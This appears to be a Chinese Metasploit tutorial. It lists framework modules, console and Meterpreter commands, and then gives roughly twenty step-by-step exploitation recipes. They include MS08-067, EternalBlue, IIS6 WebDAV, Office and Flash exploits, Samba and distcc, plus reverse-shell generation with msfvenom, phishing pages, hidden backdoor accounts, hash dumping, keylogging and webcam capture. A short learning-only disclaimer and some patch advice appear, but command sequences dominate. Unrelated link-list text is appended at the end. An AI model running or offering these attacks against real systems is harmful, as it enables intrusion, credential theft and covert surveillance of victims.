4.MSF目录结构

MSF在BT5下存放目录

/opt/MSF

MSFKali下存放目录

/usr/share/MSF-framework/

漏洞框架地址

/usr/share/metasploit-framework/

各种模块几乎都在这里

cdmodules

Auxiliary

主要包含渗透测试中一些辅助性的脚本,这些脚本功能有扫描,嗅探,破解,注入,漏洞挖掘等

Encoders

各种编码工具,用于躲过入侵检测系统和过滤系统

Exploit

包含了exp,0day,各种漏洞利用脚本,主要攻击代码都存在这里

命名规则系统/服务/模块、在使用exp时可以按照这个命名方法找

比如:useexploites/windows(系统)/vnc(服务)/realvnc_client(模块名)

Nops

用于绕过IDSIPS,生成脚本

Payloads

是攻击者发送给系统执行的指令。

命名规则:系统/类型/名称比如:usepayloads/windows/shell/bind_tcp

payloads与exploits区别:payloads在目标机执行、exploits在本地机执行作用与目标机。

Post

这个目录存放MSF中exploits执行成功之后,向目标机发送的一些功能性指令,比如提权、获取hash

Data

这个目录里盛放了Meterpreter、PassiveX、Vnc、DLLs等这些工具和一些用户接口代码,Msfweb和一些其他模块用到的数据文件。

Plugins

模块用户需要使用load来加载,提供插件,例如数据库连接插件

Scripts

这个目录下文件大都是Meterpreter这个模块利用的脚本

tools

包含一些有用的脚本和零散的工具

2.MSF专业术语讲解

1.Exploit(渗透攻击)

渗透攻击是指由攻击者或者渗透测试者利用系统、应用或服务中的安全漏洞,所进行的攻击行为。

流行的攻击技术包括:缓冲区溢出、Web应用程序漏洞攻击,以及利用配置错误等。

2.Paylod攻击载荷(攻击载荷)

攻击载何是我们期望目标系统在被渗透攻击后而执行的代码。在MSF框架中可以自由的选择、传送和植入。比如,反弹式shell是一种从目标主机到攻击主机创建网络连接,并提供命令行shell的攻击载荷。bindshell攻击载荷则在目标主机上将命令行shell绑定到一个打开的监听端口,攻击者可以连接这些端口来取得shell交互。

3.Shellcode(溢出代码)

shellcode是在渗透攻击时作为攻击载荷运行的一组机器指令。shellcode通常用汇编语言编写。在大多数情况下,目标系统执行了shellcode这一组指令后,才会提供一个命令行shell或者Meterpretershell,这也是shellcode名称的由来。

4.Module(模块)

在MSF中,一个模块是指MSF框架中所使用的一段软件代码组件。在某些时候,你可能会使用一个渗透攻击模块(Exploitmodule),也就是用于实际发起渗透攻击的软件组件。而在其它时候,则可能使用一个辅助模块(auxiliarymodule),用来扫描一些诸如扫描或系统查点的攻击动作。

5.Listener(监听器)

监听器是MSF中用来等待连入网络连接的组件。举例来说,在目标主机被渗透攻击之后,它可能会通过互联网回连到攻击主机上,而监听器组件在攻击主机上等待被渗透攻击的系统来连接,并负责处理这些网络连接。

3.MSF基本命令

用?可以浏览所有命令:帮助菜单

msfconsole

打开控制台

search

搜索命令或模块,如:searchms08-067

Use

执行命令、利用模块,如:useexploit/windows/smb/ms08_067_netapi

back

从当前环境返回

info

查看模块信息,如:infoexploit/windows/smb/ms08_067_netapi

check

检测

banner

connect+网址+端口

连接一个主机,如:connectwww.baidu.com80

exit/quit

退出控制台

irb

进入irb脚本模式

jobs

显示并管理作业(与Windows中的任务管理器一样)

kill

结束作业,杀死一个进程(与结束进程作用一样)

loadpath

加载一个模块路径

load

加载一个插件

resource

运行储存一个文件中的命令

route

查看一个会话路由信息

save

保存动作

set

给变量复制,如:setRHOST192.168.1.0

show

显示给所有类型的模块,如:showoptions

setg

把一个赋值给全局变量

例如set设置IP,就会用到其他共计模块的RHOST中

sleep

在限定的秒数内什么也不做

unload

卸载一个模块

unset

解出一个或者多个变量,如:unsetRHOST

unsetg

解出一个或者多个全局变量

version

显示MSF和控制台库版本

4.exploits和payloads模块

1.exploits模块

命名规则:系统/服务/名称

例如:windows/smb/ms08_067_netapi

RHOST:目标主机IP地址如:setrhost192.168.0.1RPORT:目标主机连接端口如:setrport80LHOST:攻击者的IP地址如:setlhost192.168.0.1LPORT:攻击者的端口如:setlport80Payload:有效的载荷,成功后返回shell如:setpayloadwindows/meterpreter/bind_tcp

2.payloads模块

是在使用一个模块之后再去使用的。

命名规则:系统/类型/名称

例如:Windows/dllinject/reverse_tcp

类型命名规则

shell:上传一个shell。

dllinject:注入一个dll到进程。

patchup***:修补漏洞。

upexec:上传并执行一个文件。

meterpreter:高级的payload。

vncinject:高级的payload。

passive:高级的payload。

名称的命名规则

shell_find_tag:在一个已建立的连接上创建一个shell。

shell_reverse_tcp:反向连接到攻击者主机并创建一个shell。

bind_tcp:监听一个tcp连接。

reverse_tcp:反向建立tcp连接。

add_user:创建一个新用户并添加到管理组。

xxx_ipv6_tcp:基于IPV6。

xxx_nonx_tcp:noexecute或win7(NX是应用在CPU的一种可以防止缓冲区溢出的技术)。

xxx_ord_tcp:有序payload。

xxx_tcp_allports:在所有可能的端口。

5.MSF简单基本的使用流程:

在kali命令窗口输入Msfconsole启动MSF

Search+漏洞号码来查找漏洞,输出结果会有该漏洞相应的利用模块

Use+漏洞模块进入模块

Set根据showoptions输出的信息进行设置漏洞set

如;setpayload、setrhost\rport、setlhost\lport、settarget、等等

Check检测是否存在漏洞

Exploit或run开始攻击

看攻击效果:session-I有会话则成功。

6.MSF辅助模块

1.Auxiliary辅助模块

1.Whois信息探测:

查看域名信息

Whoiswww.baidu.com

查看IP信息

Whois192.168.1.100

showoptions查看需要设置什么东西

setdomainwww.baidu.com设置一个域名

setsearch_googlefalse由于google被国内封了,所以关了它

run运行

3.使用auxiliary模块下的DNS枚举模块:

useauxiliary/gather/enum_dns进入DNS枚举模块

setdomainbaidu.com设置一个域名

注意:要设置顶级域名不要加www,不然爆破的时候就是xxx.www.baidu.com了

Run运行

4.端口扫描模块

1.内置namp扫描

Namp-sV192.168.1.100

2.syn扫描

useauxiliary/scanner/portscan/syn进入syn扫描

setrhost192.168.1.100设置目标地址

setthreads100设置线程(默认为1,这里设置为100)

扫描原理:

扫描器向目标主机的一个端口发送请求连接的SYN包,扫描器在收到SYN/ACK后,不是发送的ACK应答而是发送RST包请求断开连接。这样,三次握手就没有完成,无法建立正常的TCP连接,因此,这次扫描就不会被记录到系统日志中。这种扫描技术一般不会在目标主机上留下扫描痕迹。但是,这种扫描需要有root权限。

TCPconnect端口扫描服务端与客户端建立连接成功(目标端口开放)过程:

①Client端发送SYN;

②Server端返回SYN/ACK,表明端口开放;

③Client端返回ACK,表明连接已建立;

④Client端主动断开连接。

TCPconnect端口扫描服务端与客户端未建立连接成功(目标端口关闭)过程:

②Server端返回RST/ACK,表明端口未开放。

端口开放:

1、Client发送SYN;

2、Server端发送SYN/ACK;

3、Client发送RST断开(只需要前两步就可以判断端口开放)。

端口关闭:

2、Server端回复RST(表示端口关闭)。

优点:

SYN扫描要比TCPConnect()扫描隐蔽一些,SYN仅仅需要发送初始的SYN数据包给目标主机,如果端口开放,则相应SYN-ACK数据包;如果关闭,则响应RST数据包;

3.tcp扫描

useauxiliary/scanner/portscan/tcp进入tcp扫描

5.服务版本信息探测

1.smb版本扫描

useauxiliary/scanner/smb/smb_version进入SMB扫描

2…ssh版本扫描

useauxiliary/scanner/ssh/ssh_version进入ssh版本扫描

3.ftp版本扫描

useauxiliary/scanner/ftp/ftp_version进入ftp版本扫描

7.meterpreter后期攻击使用方法

1:上传文件到Windows主机

简单来说,你可以上传本机的任意文件到远程目标主机中。

命令:

upload

注意:使用-r参数可以递归上传上传目录和文件

正确输文件的方法是:upload//root//123.exec:\123.exe

2:从windows主机下载文件

download命令可以下载远程主机上的文件

download

注意:Windows路径要使用双斜线

如果我们需要递归下载整个目录包括子目录和文件,我们可以使用download-r命令

3:在目标主机上执行exe文件

我们也可以使用execute命令在目标主机上执行应用程序

语法也非常简单

execute-f[options]

正确写法是:execute-fc://1.exe

4:创建CMD新通道

如果你想在目标主机上执行命令提示符,你可以使用下列命令:

execute-fcmd-c

5:显示进程

ps命令会显示目标主机上所有正在运行的进程

ps

6:获取目标主机的cmdshell

shell命令可以进入目标主机的cmd

shell

7:获取admin权限

getsystem命令可以提权到本地系统权限

getsystem

8:使用Hashdump转储所有hash值

我们可以使用meterpretershell来dump目标主机的当前系统账户和密码。转储的内容是NTML哈希格式,网上有很多工具和技巧来破解它们。

hashdump

输出的每一行内容格式如下

Username:SID:LMhash:NTLMhash:::

9:使用Credcollect转储hash值

还有一个类似的脚本叫credential_collector,也可以收集目标主机的tokens

runcredcollect

10:创建端口转发

meterpretershell中的portfwd命令是转发技术中最常用的一个命令,可以让攻击系统访问本来无法直接访问的目标主机。

add选项会将端口转发添加到列表中,而且本质上会创建一个隧道。

请注意:这个隧道存在于meterpreter控制台之外,任何终端会话都可以使用。

portfwdadd-l6666-p3389-r127.0.0.1#将目标机的3389端口转发到本地6666端口

rdesktop127.0.0.1:6666

11:删除端口转发

跟创建端口转发命令类似,这条命令是删除一条端口转发记录

portfwddelete-l-p-r

如:portfwddelete-l1337-p1337-r192.168.1.100

如果你想显示所有端口转发记录,你可以使用portfwdlist命令,如果你想删除所有的记录,可以使用portfwdflush命令

12:在目标主机上搜索文件

搜索命令可以来定位查找目标主机上的特定文件。这个命令可以搜索整个文件系统,也可以搜索特定的文件夹。

例如,如果你想搜索目标主机上的所有txt文件,可以使用下列命令:

search-f*.txt

13:获取用户ID

getuid命令会显示主机上运行meterpreter服务的用户

getuid

14:获取系统信息

sysinfo命令会显示系统名,操作系统,架构和语言等。

sysinfo

15:模拟任意用户(token操作)

这个进程对于攻击像微软活动目录这样的分布式系统非常有帮助,因为在微软活动目录中,本地访问权限并没多大用,但是如果能搞到凭证尤其是管理员凭证,那就非常有用了。

incognito最开始是一个独立的应用,当你成功入侵系统后可以用它来模拟用户tokens。这个应用后来集成到了metasploit,并且最终集成到了meterpreter中,使用如下:

在meterpreter会话中加载这个模块非常简单,只要输入useincognito命令即可

输入list_tokens-u来显示所有有效的tokens

然后我们需要模拟某个token来获取其权限。还有注意,如果成功模拟了一个token,我们可以使用getuid命令来检查当前用户ID

useincognito

list_tokens-u

impersonate_token“Machine\user”

16:webcam摄像头命令

webcam_list查看摄像头

webcam_snap通过摄像头拍照

webcam_stream通过摄像头开启视频

17:execute执行文件

execute在目标机中执行文件

execute-H-i-fcmd.exe创建新进程cmd.exe,-H不可见,-i交互

timestompC://-h查看帮助

19:enable_rdp脚本开启3389

runpost/windows/manage/enable_rdp开启远程桌面

runpost/windows/manage/enable_rdpUSERNAME=www2PASSWORD=123456添加用户

runpost/windows/manage/enable_rdpFORWARD=trueLPORT=6662将3389端口转发到6662

脚本位于/usr/share/metasploit-framework/modules/post/windows/manage/enable_rdp.rb

通过enable_rdp.rb脚本可知:开启rdp是通过reg修改注册表;添加用户是调用cmd.exe通过netuser添加;端口转发是利用的portfwd命令

20:键盘记录

keyscan_start开始键盘记录

keyscan_dump导出记录数据

keyscan_stop结束键盘记录

MSF多种渗透测试实例合集

本文漏洞均为已发布漏洞,仅供学习实验,请自己搭建靶机进行学习。

1.(MS08-067)缓冲区溢出漏洞

漏洞简介:

MS08-067漏洞的全称为“WindowsServer服务RPC请求缓冲区溢出漏洞”,如果用户在受影响的系统上收到特制的RPC请求,则该漏洞可能允许远程履行代码。在MicrosoftWindows2000、WindowsXP和WindowsServer2003系统上,攻击者可能未经身份验证即可利用此漏洞运行任意代码,此漏洞可用于进行蠕虫攻击.

实验坏境:

kalilinux、windowsXPsp3中文版

Kali:192.168.1.10

Windowsxp:192.168.1.100

利用过程详解:

msfconsole进入msf

searchMS08-067查找带ms08-067的模块

useexploit/windows/smb/ms08_067_netapi使用找到的该模块

showoptions显示需要设置什么选项(如果required列为YES,表示该选项必须设置)

setpayloadwindows/meterpreter/reverse_tcp设置使用的payload,此处是渗透成功后从目标主机发起一个反弹连接

setrhost192.168.1.100设置目标主机IP

setlhost192.168.1.10设置攻击者的IP,也就是payload反弹后连接的IP。

info查看可用于的系统版本

showtargets显示有那些目标的类型

settarget34这里目标靶机为winxpsp3中文版,所以设置为34

showoptions把全部设置检查一下

check检测是否存在漏洞

exploit、run开始攻击

攻击成功后此时就进入了meterpreter

help查看该模式下的命令帮助

shell进入目标系统的交互命令行shell

netuser查看当前用户

netuser用户名密码/add添加用户

按(ctrl+z)可以把shell放到后台,回到payload会话

Background可以把payload会话放到后台回到模块模式

Sessions-i1使用id为1的会话

Exit关闭payload会话,回到模块模式

Exit退出msf控制台

防范办法:

针对该溢出,我们并不是没有办法,既然是要扫描445端口,然后telnet,我们只需如下的方法就可以解决:

1、及时安装KB958644补丁

造成盗版用户黑屏的补丁是KB892130,这个漏洞的安全补丁编号是KB958644

2、关闭或屏蔽掉445端口。

3、安装专业防火墙。

4.将ComputerBrowser、Server、Workstation这三个系统服务关闭

2.(MS17-010)(永恒之蓝,勒索病毒)

由美国国家安全局泄露的危险漏洞EternalBlueEternalBlue(永恒之蓝)进行传播,被该病毒入侵后,主机系统内的照片、图片、文档、音频、视频等几乎所有类型的文件都将被加密

EternalBlue:SMB1、SMBv2,对应ms17-010,针对445端口,影响范围较广,从Windowsxp—windowsserver2012

病毒攻击流程:开始—扫描网络中的机器是否开启445端口—存在漏洞—加密用户文件—弹出勒索页面—成功勒索。

实验环境:

kali:192.168.1.4

windows7:192.168.1.10

由于旧版本kali中无MS17-010enternalblue攻击模块,所以要安装一下。

漏洞利用步骤:

1.在kali中安装MS17-010enternalblue攻击模块

2.使用msf工具进行攻击

3.对被渗透计算机进行控制

1.下载攻击模块:

把模块拷贝到metasploit对应目录下

cpms17_010_eternalblue.rb/usr/shara/metasploit-framework/moduls/exploits/windows/smb

2.使用msf进行攻击

msfconsole进入msfsearchms17-010查看此漏洞可利用的模块useexploitwindows/smb/ms17_010_eternalblue进入此模块showoptions查看需要设置什么选项setpayloadwindows/x64/meterpreter/reverse_tcp设置反弹连接payloadsetLHOSTS192.168.1.4设置操作机IPsetRHOST192.168.1.10设置靶机IPrun或exploit进行攻击shell进入对方命令行netusertest1234/add(xxxx用户名1234密码)创建用户及密码netlocalgroupadministratorstest/add(将用户设置为管理员权限)upload/root/123.exec:上传文件execute-fc:\123.exe执行文件

1.参见微软官方

关闭445、137、138、139、关闭网络共享

2.安装专门的免疫工具,安全厂商有提供

安天实验室蠕虫勒索软件免疫工具(wannacry)

3.(MS12-042)漏洞

存在与Windowsxp和Windowsserver2003的所有32位版本、及Windows7(由于基于x64的系统)以及Windowsserver2008R2x64

该漏洞是Windows内核中的漏洞,可能允许特权提升

Windows用户模式调度程序存在内存破环漏洞

用户模式调度程序处理系统请求时存在权限提升可能,成功利用后导致在内核模式中运行任意代码。

Windows

利用过程详解

普通用户登陆系统

使用漏洞利用工具sysret提权

添加管理员账户

添加新用户,并隐藏该用户

先在服务器创建一个新用户

sysret-ecmd.exe使用此命令进行提权

whoam确认是否提权成功

netusertempqaz123/add创建temp用户密码qaz123

netlocalgroupadministorterstemp/add把tempj加到管理员组

netuserhacker$qaz123/add创建以用户hacker(使用(使用(使用时使用netuser看不到该用户,但是计算机管理中可以看到)

使用regedt32导出hacker$的注册表项

在计算机管理界面删除hacker$用户

在使用regedt32导入hacker$的注册表项

这样hacker$用户被隐藏了

在使用hacker$用户删除temp用户

及时更新Windows系统

4.CVE-2011-4862(freebsdtelnetd)漏洞利用

漏洞介绍:

存在与freebsdLinux5.3-8.2版本中telnetd组件,典型的缓冲区漏洞。

telnetd中的libtelnet/encrypt.c源码中存在缓冲区溢出漏洞。

远程攻击者可借助超长encryption键执行任意代码。

详情参见cve官网

实验环境

kali

FreeBSD8.1

漏洞利用步骤

1.在FreeBSD中启动telnet服务

3.控制被渗透计算机

在FreeBSD中启动telnet服务

开始渗透攻击:

search51182useexploit/freebsd/telnet/telnet_encrypt_keyidsetpayloadbsd/x86/shell/revers_tcpsetrhost192.168.1.100setlhost192.168.1.10settarget0runwhoamirootpwd

防范方法:

关闭telnet服务

5.oracle漏洞(cve-2009-1979)

详细见cve官网

windowsserver2003安装oracle数据库

msfconsolesearchtns_authuseexploit/windows/oracle/tns_auth_sesskeyshowoptionssetpayloadwindows/meterpreter/reverse_tcpsetrhost192.168.1.10setlhost192.168.1.100settarget1showoptionscheckexploitshell

6.IE漏洞(MS11-050)

漏洞介绍

实验坏境

windowsxpsp3

渗透步骤“

在msf工具加载攻击模块和载荷模块,构建钓鱼网页。

利用社工等手段引诱被渗透者访问钓鱼网站

对计算机进行控制

msfconsolesearchms11-050useexploit/windows/browser/ms11_050_mshtml_cobjectelementsetpayloadwindows/meterpreter/reverse_tcpshowoptionssetsrvhost192.168.1.100设置自己的服务器地址,这里设置本机为服务器setrhost192.168.1.10setlhost192.168.1.100seturipathindex.html伪造网页地址settarget1run

此时会出现一个伪造的网站地址

利用社工的方法让目标访问这个地址

当对方访问的这个地址时

sessions-I查看会话

sessions-i1进入会话1

7.浏览器漏洞(MS10-018)

见官网

msfconsolesearchms10-018useexploit/windows/browser/ms10-018_ie_behaviorsshowoptionssetpayloadwindows/meterpreter/bind_tcp设置一个payload正向连接shellsetsrvhost192.168.1.100设置自己服务器地址setlhost192.168.1.100setrhost192.168.1.10run

此时会有一个url地址,通过社工等方式让目标主机进行访问

等目标主机访问了

sessions查看会话

8.IIS6.0漏洞(cve-2017-7269)

存在与Windowsserver2003R2IIS6.0的webDAV服务中的缓存区溢出漏洞。

windowsserver2003(安装iis6.0并启用webDAV)

msfconsolesearchcve-2017-7269useexploit/windows/iis/cve-2017-7269setpayloadwindows/meterpreter/reverse_tcpshowoptionssetrhost192.168.1.10setlhost192.168.1.100showoptionsrunshell

9.office漏洞(MS10-087)

见cve官网

windowsxp

msfconsolesearchms10-087useexploit/windows/fileformat/ms10_087_rtf_pfragments_bofshowoptionssetpayloadwindows/execsetFILENAMEceshi.rtf文件名改成ceshisetCMDcalc.exe设置现在让他弹出一个计算器run

会在root/.msf4/local/ceshi.rtf这个路径生成文件ceshi.rtf

将文件复制到靶机,运行就会弹出计算器

10.office漏洞(cve-2017-11882)

office远程代码执行漏洞,攻击者可利用漏洞执行任意命令。

是office内存破环漏洞

详细参见官网

windows7

msfconsolesearchcve-2017-11882showoptionssetpayloadwindows/meterpreter/reverse_tcpsetsrchost192.168.1.10setlhost192.168.1.10setrhost192.168.1.100seturipathcveshowoptionsrun

通过社工等方法让目标打开文件

等对方上钩

sessions-i1进入会话

11.利用samba服务漏洞入侵linux主机(CVE-2017-7494与samba低版本漏洞利用)

Samba介绍

Samba是在Linux和UNIX系统上实现SMB协议的一个免费软件,由服务器及客户端程序构成,samba服务对应的端口有139、445等等。

smba漏洞利用详解

前提:

查看samba版本并打开samba配置文件添加以下配置

找最新的漏洞

入侵成功可进行操作

samba低版本漏洞(比较少)

实验环境MSF提供的漏洞环境

开始测试

1、首先要扫描目标主机上开放的端口和服务,用nmap,命令如下:

nmap-sS-Pn-A192.168.0.142

2、发现主机上开放的139,445端口之后,说明该主机有可能存在samba服务远程溢出漏洞,尝试通过该端口建立一个meterpreter会话,需要用到metasploit.

3、打开metasploit之后需要先判断samba的版本,命令如下:

msf>searchscanner/samba

4、然后使用如下命令来定义要扫描samba的版本所用到的exploits参数。

msf>useauxiliary/scanner/smb/smb_versionmsfauxiliary(smb_version)>setRHOSTS192.168.0.102

这条命令定义你将要扫描samba版本的远程主机的IP地址.

exploit

该命令将开始漏洞利用

5、发现samba版本之后,我们需要进一步利用来入侵进入到远程linux主机

msf>useexploit/multi/samba/usermap_scriptmsfexploit(usermap_script)>setRHOST192.168.0.102msfexploit(usermap_script)>exploit

执行完成以上命令如图所示,成功创建了shell会话.nmap-sS-Pn-A192.168.0.142

12.BashShellshockCVE-2014-6271(破壳)

Shellshock的原理是利用了Bash在导入环境变量函数时候的漏洞,启动Bash的时候,它不但会导入这个函数,而且也会把函数定义后面的命令执行。在有些CGI脚本的设计中,数据是通过环境变量来传递的,这样就给了数据提供者利用Shellshock漏洞的机会。

简单来说就是由于服务器的cgi脚本调用了bash命令,由于bash版本过低,攻击者把有害数据写入环境变量,传到服务器端,触发服务器运行Bash脚本,完成攻击。

metasploitable2

配置靶机:

要利用此漏洞,需要在cgi-bin目录中有一个可执行脚本。本次实验一个简单的输出“helloworld”脚本即可

进入到靶机的/usr/lib/cgi-bin/目录下,输入以下命令:

sudonanohello.sh

输入正确的密码,然后对hello.sh脚本进行编辑

#!/bin/bash

echo“Content-type:text/html”

echo“”

echo“Helloworld!”

保存好后,赋予脚本可执行权限,使用chmod命令:

sudochmod755hello.sh

验证;

192.168.0.10/cgi-bin/hello.sh看网页是否正常显示该脚本

准备渗透攻击

在kali中,终端输入msfconsole来启动metasploit。可以看到一个随机的欢迎界面和metasploit命令提示符。

我们可以使用search命令来搜索exploits。输入shellshock,就能找到

13.phpCGI漏洞利用

用phpinfo去看对方php版本服务器版本是否支持CGI,ServerAPI一行中,是服务器中间件一个扩展功能,留言板功能可能用到

14.JavaRMISERVER命令执行漏洞

JavaRMISERVER的RMI注册表和RMI激活服务的默认配置存在安全漏洞,导致代码执行。

利用步骤:

nmap-p0-65535IP,查看1099端口是否开启useexploit/multi/misc/java_rmi_serversetRHOSTIPexploitshell(进入meterpreter时执行)

15.javacve-2013-0422

useexploit/multi/browser/java_jre17_jmxbeansetpayloadwindows/meterpreter/reverse_tcpsetsrchost192.168.1.10setlhost192.168.1.10setrhost192.168.1.100settarget1showoptionsexploit

16.Distcc后门漏洞

安全组织索引:CVE-2004-2678、OSVDB-13378

原理:

Distcc用于大量代码在网络服务器上的分布式编译,但是如果配置不严格,容易被滥用执行命令,该漏洞是Xcode1.5版本及其他版本的distcc2.x版本配置对于服务器端口的访问不限制

msfconsoleuseexploit/unix/misc/distcc_execsetRHOST192.168.1.10exploit

id查看权限

uname-a验证

17.Druby命令执行

Druby配置不当,被滥用执行命令

启动metasploit

发现8787Druby端口

useexploit/linux/misc/drb_remote_codeexecsetURLdruby://192.168.1.10:8787,设置目标druby链接exploitid,uname-a

18.CVE-2017-8464震网三代(远程快捷方式漏洞)

1

CVE-2017-8543,当Windows搜索处理内存中的对象时,存在远程执行代码漏洞。成功利用此漏洞的攻击者可以控制受影响的系统。

CVE-2017-8464,当Windows系统在解析快捷方式时,存在远程执行任意代码的高危漏洞,黑客可以通过U盘、网络共享等途径触发漏洞,完全控制用户系统,安全风险高危。

受影响的版本

Windows7

Windows8.1

WindowsRT8.1

Windows10

WindowsServer2008

WindowsServer2008R2

WindowsServer2012

WindowsServer2012R2

WindowsServer2016

攻击机:kali

IP地址为:192.168.10.118

靶机:win7

IP地址:192.168.10.119

payload1:msfconsole

search2017_8464

useexploit/windows/fileformat/cve_2017_8464_lnk_rce

setPAYLOADwindows/meterpreter/reverse_tcp

setLHOST192.168.10.118(你的IP)

之后会在/root/.msf4/local目录下生成我们的利用文件

注意:kali2.0下无法直接访问该文件夹,可通过命令行将/root/.msf4/local/下的所有文件复制到/root/1下

cp-r/root/.msf4/local//root/1

全部复制到移动磁盘里面(u盘拷贝),然后在msf中监听:

searchmulti/handleruseexploit/multi/handlersetpayloadwindows/meterpreter/reverse_tcpsetLHOST192.168.10.118(你的IP地址)run

payload2:利用Powershell快捷键

msfvenom-pwindows/meterpreter/reverse_tcplhost=192.168.10.100-fpsh-reflection>/opt/search.ps1

然后将/opt/目录下的search.ps1文件移动到/var/www/html/下

随后打开Apache服务

serviceapache2start

访问web下的sp1文件

然后在目标机上建立一个快捷方式

这里写我们构造好的代码

然后选中powershell.exe

再到本机上配置监听

useexploit/multi/handler

setpayloadwindows/meterpreter/reverse_tcp

setLHOST192.168.10.118

run

19.flashoday(CVE-2018-4878)

漏洞详情

0x01前言

公告称一个新的Flash0Day漏洞(CVE-2018-4878)已经存在野外利用,可针对Windows用户发起定向攻击。攻击者可以诱导用户打开包含恶意Flash代码文件的MicrosoftOffice文档、网页、垃圾电子邮件等。

0x02漏洞影响

FlashPlayer当前最新版本28.0.0.137以及之前的所有版本

0x03漏洞复现

环境测试:

目标靶机:win7x64+IE8.0+FLASHplayer28.0.0.137

1.下载cve-2018-4878的脚步利用

2.解压压缩文件后,可看到cve-2018-4878.py和exploit.swf我们只需要cve-2018-4878.py

3.我们需要对cve-2018-4878.py进行修改,原作者将代码中的stageless变量改成了true,正确的应该改成:stageless=False,另外别忘了修改最后的路径。

4.其次需要修改替换原来弹计算器的shellcode

5.在kali下生成msf的shellcode(注意:一定要在老版本kail下生成大小为333字节的payload)

msfvenom-pwindows/meterpreter/reverse_tcplhost=yourhostlport=yourport-fpython>shellcode.txt

6.将生成的shellcode替换掉原有cve-2018-4878.py中的shelldoce即可

7.在kal下执行cve-2018-4878.py,这里需要和index.html在一个目录下,即可生成恶意的exploit.swf

8.这里为了演示我将index.html和exploit.swf一同拷贝到目标靶机win7x64上,在ie浏览器下打开(也可以通过搭建web服务器的形式将index.html和exploit.swf放在web目录下,访问地址来打开)。

9.在msf下进行监听设置

msf>useexploit/multi/handlermsfexploit(handler)>setpayloadwindows/meterpreter/reverse_tcpmsfexploit(handler)>setlhost10.0.0.217msfexploit(handler)>setlport443msfexploit(handler)>exploit

10.当打开目标恶意的index.html页面时,即可触发反弹shell

20.MSF木马生成使用

木马生成:

msfvenom-pwindows/meterpreter/reverse_tcpLHOST=192.168.0.107LPORT=4444-fexe-opayload.exe

本地监听:

msf>useexploit/multi/handlermsfexploit(handler)>setpayloadwindows/meterpreter/reverse_tcpmsfexploit(handler)>setlhost10.0.0.217msfexploit(handler)>setlport4444msfexploit(handler)>exploit

THE END
1.C语言隐患一、代码安全漏洞防范 物联网设备易遭攻击,C语言代码安全关键。 缓冲区溢出漏洞堵截:C函数(strcpy、gets等)操作不当易缓冲区溢出。如strcpy(dest, src),若dest缓冲区小于src长度,会溢出改写相邻内存,致程序崩溃或被恶意篡改。用安全函数(strncpy限制拷 https://www.aliyun.com/sswb/1755907_1.html
2.网站网络安全技术防范mob6454cc6eb555的技术博客http://lhylhylhy.com?query= 1. 2. 攻击者需要结合多种手段诱导用户点击恶意的url才能生效 DOM型xss攻击 DOM型xss攻击是基于前端的漏洞,攻击者通过一些手段(中间人攻击,或者刚才说的存储xss等)将恶意代码注入网站中,通过浏览器的DOM操作执行 如何避免呢 在使用innerHTML、outerHTML、documenthttps://blog.51cto.com/u_16099258/12875811
3.国家信息安全漏洞共享平台所属漏洞编号 CNVD-2024-48775 补丁链接 https://source.android.com/security/bulletin/2024-06-01 备注 补丁描述 Google Android是美国谷歌(Google)公司的一套以Linux为基础的开源操作系统。 Google Android存在反序列化漏洞,该漏洞源于ZygoteProcess.java文件的multiple方法存在不安全的反序列化,攻击者可利用漏洞https://www.cnvd.org.cn/patchInfo/show/644361
4.云安全新纪元:深入剖析Web应用安全防护天翼云开发者社区Web应用防火墙(WAF):部署WAF作为第一道防线,实时监控并过滤恶意请求,如SQL注入、XSS、CSRF等攻击。WAF能够动态更新规则库,应对不断变化的威胁。 安全监控与日志审计:建立全面的安全监控体系,实时收集并分析应用日志、异常行为等数据,及时发现并响应安全事件。同时,定期对日志进行审计,追溯安全事件源头。 https://www.ctyun.cn/developer/article/624805783154757
5.CSRF篇accesscontrolalloworigin(2)JSONP漏洞: JSONP 是用于跨域读取数据的技术,为了绕过同源策略,可以使用 等标签来进行跨域 (3)CORS 漏洞: 1、CORS的引入: 由于同源策略的限制,许多Web应用程序需要与不同域的资源进行交互, 因此CORS被引入以允许这种跨域请求。 CORS是一种通过HTTP头部来控制的机制,它告诉浏览器是否https://blog.csdn.net/qq_63527808/article/details/134053241
6.补天1.1北京天目恒安科技有限公司及其关联公司为补天漏洞响应平台(以下简称“本网站”、“本平台”、“补天平台”、“补天平台网站”)的所有者及经营者,完全按照其发布的服务条款和操作规则提供基于互联网以及移动互联网的相关服务(以下简称“网络服务”或“本服务”)。补天平台网络服务的具体内容由本公司根据实际情况提供,包https://www.butian.net/Article/content/id/443
7.补天推出托管安全应急响应中心(SRC)V2.0在日前召开的ISC互联网安全大会期间,补天漏洞响应平台推出了托管式安全应急响应中心V2.0版本。全新的升级方案以化繁为简、安全省心为核心,可以帮助用户建立一站式的专属SRC门户网站,并负责SRC的运营和活动推广等相关工作,为用户提供高效、便捷、安全、省心的SRC全托管解决方案。 360社区 ISC大会期间补天漏洞响应平台展台http://bbs.360.cn/thread-15563555-1-1.html
8.SRC漏洞平台是什么?企业SRC是什么?一篇文章讲清楚!(src漏洞挖掘)第三方报告平台。报告平台是指由独立的第三方公司成立的综合性的报告平台。国内补天平台、盒子平台、火线平台等均属于该模式。外部报告者注册对应漏洞报告平台,选择对应的厂商进行报送,接着该第三方机构会发送邮件提示相关厂商确认处理。 企业SRC。企业自己开发自己的安全应急响应中心,制定自己的漏洞收集以及奖金计划。目前https://www.eolink.com/news/post/30685.html
9.帮助企业建立安全应急响应中心漏洞响应平台“补天”上线12月1日,全球首家漏洞响应平台“补天”上线。作为连接企业与白帽子的专业平台,“补天”将通过帮助企业建立SRC,让企业网络安全,让白帽获得收益,从而最大程度保障企业网络安全。 12月1日,全球首家漏洞响应平台“补天”上线。作为连接企业与白帽子的专业平台,“补天”将通过帮助企业建立SRC,让企业网络安全,让白帽获得收益http://www.vsharing.com/k/net/2014-12/708464.html
10.补天补天-漏洞响应平台浏览人数已经达到3,296,如你需要查询该站的相关权重信息,可以点击"爱站数据""Chinaz数据"进入;以目前的网站数据参考,建议大家请以爱站数据为准,更多网站价值评估因素如:补天-漏洞响应平台的访问速度、搜索引擎收录以及索引量、用户体验等;当然要评估一个站的价值,最主要还是需要根据您自身的需求以及https://www.hackjie.com/sites/1222.html
11.我院学子在安全应急响应中心平台近日,我院计算机网络技术专业2022-3班任志用同学在各大SRC应急响应中心平台上不断绽放光彩,凭借精湛的技术挖掘了数个中高危漏洞,在提升技能的同时也获得了补天漏洞响应平台给予的2000元奖金。任志用通过技术获取人生第一桶金的故事不仅为他自己未来的学习奠定了更坚实的兴趣基础,更给班级乃至我院其他同学树立了榜样,使http://www.hunangy.com/xxgcxy/info/1032/5073.htm
